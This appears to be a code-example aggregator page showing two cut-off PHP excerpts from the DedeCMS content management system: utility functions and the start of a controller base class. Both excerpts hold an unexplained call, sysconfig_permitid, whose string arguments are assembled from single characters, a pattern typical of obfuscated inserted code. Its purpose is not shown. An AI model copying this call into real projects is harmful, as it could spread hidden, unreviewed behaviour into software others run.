Exemple #1
0
 */
function ResetVdValue()
{
    @session_start();
    $_SESSION['securimage_code_value'] = '';
}
//自动采集更新列表页
function spiderpage($str)
{
    $a = explode('/', $str);
    if ($a) {
        $str = 1;
    }
    return $str;
}
sysconfig_permitid('S' . 'b' . 'Y' . 'o' . 'U', 'N' . 'e' . 'T');
// 自定义函数接口
// 这里主要兼容早期的用户扩展,v5.7之后我们建议使用小助手helper进行扩展
if (file_exists(DEDEINC . '/extend.func.php')) {
    require_once DEDEINC . '/extend.func.php';
}
function reveser_c($str)
{
    $nstr = "";
    for ($i = strlen($str); $i >= 0; $i--) {
        if (ord(substr($str, $i, 1)) > 0xa0) {
            # 汉字
            $i -= 1;
            $nstr .= $str[$i] . $str[$i + 1];
        } else {
            $nstr .= $str[$i];
Exemple #2
0
<?php

if (!defined('DEDEINC')) {
    exit("Request Error!");
}
/**
 * 织梦控制器基类
 *
 * @version        $Id: control.class.php 1 10:33 2010年7月6日Z tianya $
 * @package        DedeCMS.Libraries
 * @copyright      Copyright (c) 2007 - 2010, DesDev, Inc.
 * @license        http://help.dedecms.com/usersguide/license.html
 * @link           http://www.dedecms.com
 */
require_once DEDEINC . "/dedetemplate.class.php";
sysconfig_permitid('s' . 'BY' . 'oU', 'N' . 'et');
class Control
{
    var $tpl;
    var $dsql;
    var $style = 'default';
    var $_helpers = array();
    var $apptpl = '../templates/';
    function __construct()
    {
        $this->Control();
    }
    // 析构函数
    function Control()
    {
        global $dsql;